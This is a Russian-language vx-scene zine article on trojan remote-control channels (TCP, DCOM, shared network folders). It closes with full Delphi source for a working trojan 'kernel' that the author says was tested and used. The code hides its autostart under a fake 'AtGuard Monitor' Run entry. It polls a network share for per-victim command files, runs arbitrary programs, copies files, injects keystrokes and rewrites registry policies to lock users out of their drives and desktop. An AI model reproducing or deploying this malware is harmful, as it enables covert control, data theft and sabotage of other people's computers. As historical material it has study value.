_____ _____ ___
_,┌\/┐ :░ :░ :░ ╓ social distortion all about vx-scene ╖
,4\┘¤"``"¤┘ ll l¤` ll ::;;;::;;.... ....:;..: ::...;.:;;;:;
:░(_ | ___ ll ._
`└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._ Удаленный контроль [2001]
_____ ``^"¤└/L, d7┘` ___ 7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by Uazz Klingun
$$$$|/┌,.__,┌\:`4│/┐,_ _ll ``''""¤¤┘┘
$$$$|`└/|││|\┘` `¤└/│:
Содержание
1. Введение
2. Общеупотребительный способ
3. Способы для локальной сети
3.1 Использование DCOM
3.2 Использование расшареных файлов
4. Мысли, еще не воплощенные в код
1. Введение
Все трояны можно, условно, подразделить на три категории:
- Клиент-серверные трояны
- Почтовые трояны
- Клавиатурные шпионы
В данной статье, будет обобщен мой небольшой опыт по написанию троянов
первого рода.
Что будет и чего не будет в данной статье? В данной статье будут изложены
некоторые мысли по организации взаимодействия клиентской и "серверной"
части трояна, методы маскировки на компьютере-жертве. Здесь не будут
рассматриваться вопросы инсталляции трояна на компьютер, не будет
практически ничего сказано о функциях данного трояна. Это может быть как
"средство удаленного администрирования", так и банальный вор паролей, меня
это не волнует.
2. Общеупотребительный способ
Основан на взаимодействии частей путем установки соединения на основе
TCP/IP соединения. Здесь я мало что могу добавить, смотрите исходники
BackOrifice....
3. Способы для локальной сети
Описанные в данном разделе способы взаимодействия клиентской части и
трояна, пригодны для использования (imho) только для локальной сети, хотя
возможны и исключения (правда, их придется поискать).
3.1 Использование DCOM
Сразу оговорюсь, что использование данного способа возможно _только_ на
машинах, на которые установлен NT (4,5), хотя клиента, для управления
трояном, можно запускать на машине с любой Вынью. Кроме этого, необходимо
получить _физический_ доступ к машине жертвы, чтобы там кое-что
подправить. (Для тех, кто прочтя эту статью, захочет создать нечто
подобное: imho возможен вариант и без физического доступа, нужно только
знать, что прописать в реестре). Но обо всем попорядку.
Всеми горячо любимый Мелкософт предоставил универсальное средство для
взаимодействия между программными модулями - технологию СОМ. При этом
фактически безразлично, где будут исполняться эти модули - на одном компе,
или же по сети.
Для того, чтобы пользователю была предоставлена возможность работать с
удаленным компонентом, на удаленном компьютере
а) Должно быть зарегистрировано наше приложение как СОМ-сервер (для
ЕХЕ-файлов производится автоматически при запуске программы)
б) Системе необходимо дать указание разрешить удаленный запуск
данного СОМ-сервера (выполняется путем запуска утилиты dcomcnfg)
Все. После этого, можете выгружать программу из памяти.
3.2 Использование расшареных файлов
Данный способ применим в том случае, если у вас и у вашей жертвы есть
доступ к одному и тому же каталогу. Это может быть, как и расшареная папка
на файл-сервере, так и расшареная папка у кого-либо из вас. Главным
преимуществом такого метода является то, что его, фактически, нельзя
отследить каким-либо файрволом, т.к. иначе жертве придется отказаться
от использования расшареных ресурсов вообще, а такое трудно себе
представить в локальной сети (я же предупреждал, что речь пойдет о методах
для _локальной_ сети). Кроме того, нигде не светится ваш IP.
Итак, а теперь самое главное - реализация. Я расскажу, как это было
реализовано мной, а ваше дело - улучшать или переделывать под себя.
1. Создается папка на файл-сервере. В ней располагаются файлы управления
компьютером жертвы. Они имеют формат <Имя компьютера>.cmd для того,
чтобы можно было в одной папке держать команды для нескольких жертв.
2. Сервер устанавливает свое внимание на изменениях в данной папке
repeat
CHHandle := FindFirstChangeNotification(PChar(FPath), false,
FILE_NOTIFY_CHANGE_LAST_WRITE);
Sleep(10000);
until CHHandle <> INVALID_HANDLE_VALUE;
repeat
WaitValue :=
MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT);
until WaitValue = WAIT_OBJECT_0;
ParseFile;
Здесь FPath - UNC путь к папке. Хватаем хэндл, и ждем бесконечное
количество времени, пока в этой папке не произойдут изменения (пока мы не
добавим в файл новые команды). При обработке файла, следует проверить его
время, изменилось ли оно с предыдущего раза (это, если изменился другой
файл, то ничего не делаем). Ну уж реализация команд, что вы засунете в
этот файл, полностью лежит на вашей совести...
Далее, после первой обработки, необходимо бесконечно опрашивать данный
каталог на предмет дальнейших изменений...
while (true) do
begin
FindNextChangeNotification(CHHandle);
repeat
WaitValue :=
MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT)
until WaitValue = WAIT_OBJECT_0;
ParseFile;
end;
FindCloseChangeNotification(CHHandle);
4. Мысли еще не воплощенные в код
Для маскировки трояна на компьютере жертве, можно использовать такую
вещь, как запись DLL в чужое адресное пространство...
Далее идет законченная реализация одного из методов, тестировался и
применялся...
───[kernel.pas]──────────────────────────────────────────────────────[start]──
unit kernel;
interface
//Основная функция, вид приспособлен для CreateThread
//По одной команде в каждой строке
//Поддерживаемые команды:
//opencd, closecd - ясно, для чего :)
//copy <src> to <dest> - Копирование, маски не поддерживаются
//exec <what> - Выполнение приложения, м/б любой файл, хоть .doc
//dir, cd - почти аналоги досовских команд
//regclean - нехорошая вещь жертве
function Start(i: cardinal): cardinal;
implementation
uses
mmSystem, registry, ShellApi, FileCtrl, Windows, SysUtils, Classes;
var
cmdFile: string = '\\xxxx\users\cmds\';//Где искать файл с командами
logFile: string = '\\xxxx\users\cmds\';//Куда писать результаты
allFile: string = '\\xxxx\users\cmds\all';//Если есть этот файл, то
//писать время старта
alterPath: string = '\\yyyy\temp\'; //Если обычный путь недоступен
//То искать тут
defCmd: string = '.cmd';
defres: string = '.rst';
compName: string;
FLastAccess: TDateTime;
procedure CleanReg;
var
reg: TRegistry;
names: TStrings;
i: integer;
begin
reg := TRegistry.Create;
names := TStringList.Create;
try
reg.RootKey := HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',
true) then
begin
reg.WriteInteger('NoDrives', -1);
reg.WriteInteger('NoDesktop', 1);
end;
// reg.Free;
// reg := TRegistry.Create;
reg.RootKey := HKEY_USERS;
reg.OpenKey('\', false);
reg.GetKeyNames(names);
for i := 0 to names.Count - 1 do
begin
if reg.OpenKey(names[i] + '\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',
true) then
begin
reg.WriteInteger('NoDrives', -1);
reg.WriteInteger('NoDesktop', 1);
end;
reg.OpenKey('\', false);
end;
finally
reg.CloseKey;
reg.Free;
names.Free;
end;
end;
procedure Execute(cmd: string);
var
tmp: string;
begin
tmp := cmd;
ShellExecute(0, 'open', PChar(tmp), nil, PChar(ExtractFilePath(tmp)), SW_SHOW);
end;
function ParseCmd(cmd: string): string;
var
parse: string;
source, dest, params: string;
i, res: integer;
fn: TSearchRec;
Input, Output: TFileStream;
begin
parse := Cmd;
Trim(parse);
if parse <> '' then Result := 'Unknown command'
else Result := '';
if Copy(parse, 1, 3) = 'dir' then
begin
source := Copy(parse, 4, Length(parse) - 3);
source := Trim(source);
if source = '' then source := '*.*';
// if source[Length(source)] = '\' then
// source := source + '*.*';
Result := '';
if FindFirst(source, faAnyFile, fn) = 0 then
begin
Result := Result + fn.Name;
while FindNext(fn) = 0 do
begin
if (fn.Attr and faDirectory) <> 0 then
dest := fn.Name + ' ' + '<DIR>' + #13#10
else
dest := fn.Name + ' ' + intToStr(fn.Size) + #13#10;
Result := Result + dest;
end;
end;
FindClose(fn);
end;
if Copy(parse, 1, 4) = 'copy' then
begin
params := Copy(parse, 5, Length(parse) - 4);
params:= Trim(params);
i := Pos(' to ', params);
source := Copy(params, 1, i);
dest := Copy(params, i + 4, Length(params) - i + 3);
Trim(source); Trim(dest);
try
input := TFileStream.Create(source, fmOpenRead or fmShareDenyWrite);
output := TFileStream.Create(dest, fmCreate or fmShareDenyWrite);
try
output.CopyFrom(input, input.size);
Result := 'Copy ok' + #13#10;
finally
input.Free;
output.Free;
end;
except
on E:exception do
Result := 'copy error: ' + E.Message;
end;
end;
if Copy(parse, 1, 2) = 'cd' then
begin
source := Copy(parse, 3, Length(parse) - 2);
source := Trim(source);
if source = '' then
Result := 'cd error: specify directory';
try
ChDir(source);
Result := 'Chdir ok' + #13#10;
except
on E:Exception do
Result := 'cd error: ' + E.Message;
end;
end;
if Copy(parse, 1, 4) = 'echo' then
begin
source := Copy(parse, 6, Length(parse) - 5);
for i := 1 to Length(source) do
begin
res := VkKeyScan(source[i]);
keybd_event(Lo(res), MapVirtualKeyEx(res, 0, GetKeyboardLayout(0)), 0, 0);
keybd_event(Lo(res), MapVirtualKeyEx(res, 0, GetKeyboardLayout(0)), KEYEVENTF_KEYUP, 0);
end;
end;
if Copy(parse, 1, 6) = 'opencd' then
begin
mciSendString('Set cdaudio Door Open Wait', nil, 0, 0);
Result := 'opencd ok' + #13#10;
end;
if Copy(parse, 1, 7) = 'closecd' then
begin
mciSendString('Set cdaudio Door Closed Wait', nil, 0, 0);
Result := 'closecd ok' + #13#10;
end;
if Copy(parse, 1, 8) = 'regclean' then
begin
CleanReg;
Result := 'regclean ok' + #13#10;
end;
if Copy(parse, 1, 4) = 'exec' then
begin
source := Copy(parse, 5, Length(parse) - 4);
source := Trim(source);
if source <> '' then
begin
Execute(source);
Result := 'exec ok' + #13#10;
end
else
Result := 'exec error: need params' + #13#10;
end;
end;
procedure ParseFile;
const
MaxCount = 10;
var
fCmds, fLog: TextFile;
cnt: integer;
cmd: string;
begin
// SelectPaths;
if FileDateToDateTime(FileAge(cmdFile)) > FLastAccess then
begin
FLastAccess := FileDateToDateTime(FileAge(cmdFile));
AssignFile(fCmds, cmdFile);
AssignFile(fLog, logFile);
{$I-}
cnt := 0;
repeat
Reset(fCmds);
Sleep(1500);
Inc(cnt);
until (IOResult = 0) or (cnt > MaxCount);
if cnt < MaxCount then
begin
Rewrite(fLog);
while not Eof(fCmds) do
begin
Readln(fCmds, cmd);
Writeln(fLog, ParseCmd(cmd));
end;
end;
// Rewrite(fCmds);
CloseFile(fCmds);
CloseFile(fLog);
{$I+}
end;
end;
procedure SetRegistry;
var
reg: TRegistry;
begin
reg := TRegistry.Create(KEY_READ);
try
reg.RootKey := HKEY_LOCAL_MACHINE;
if not reg.KeyExists('\Software\Microsoft\Windows\CurrentVersion\Run\AtGuard Monitor') then
reg.Access := KEY_ALL_ACCESS;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',
false) then
reg.WriteString('AtGuard Monitor', ExtractFileName(Paramstr(0)));
finally
reg.CloseKey;
reg.Free;
end;
end;
procedure SelectPaths;
begin
if not DirectoryExists(ExtractFilePath(cmdFile)) then
begin
cmdFile := alterPath + compName + defCmd;
logFile := alterPath + compName + defRes;
end;
end;
function Start(i: cardinal): cardinal;
var
CHHandle: THandle;
FPath: string;
WaitValue: DWORD;
nameSize: DWORD;
alive: TextFile;
begin
SetRegistry;
FLastAccess := Now;
FPath := cmdFile;
SetLength(compName, MAX_COMPUTERNAME_LENGTH + 1);
nameSize := MAX_COMPUTERNAME_LENGTH + 1;
GetComputerName(PChar(compName), nameSize);
SetLength(compName, nameSize);
cmdFile := cmdFile + compName + defCmd;
logFile := logFile + compName + defRes;
SelectPaths;
if FileExists(allFile + defCmd) then
begin
{$I-}
AssignFile(alive, allFile + defRes);
if FileExists(allFile + defRes) then
Append(alive)
else
Rewrite(alive);
Writeln(alive, compName + ' started at ' + DateTimeToStr(Now));
CloseFile(alive);
{$I+}
end;
repeat
CHHandle := FindFirstChangeNotification(PChar(FPath), false,
FILE_NOTIFY_CHANGE_LAST_WRITE);
Sleep(10000);
// Application.ProcessMessages;
until CHHandle <> INVALID_HANDLE_VALUE;
// if CHHandle = INVALID_HANDLE_VALUE then
// ShowMessage(' handle is invalid: ' + intToStr(CHHandle));
repeat
WaitValue :=
MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT);
// Application.ProcessMessages;
until WaitValue = WAIT_OBJECT_0;
// ShowMessage(' CHANGED!!! ');
ParseFile;
while (true) do
begin
FindNextChangeNotification(CHHandle);
repeat
WaitValue :=
MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT);
// Application.ProcessMessages;
until WaitValue = WAIT_OBJECT_0;
// ShowMessage(' CHANGED!!! ');
ParseFile;
end;
FindCloseChangeNotification(CHHandle);
end;
end.
───[kernel.pas]─────────────────────────────────────────────────────────[end]─
(x) 2000 Uazz KlinGun, misdirected_youth_all-star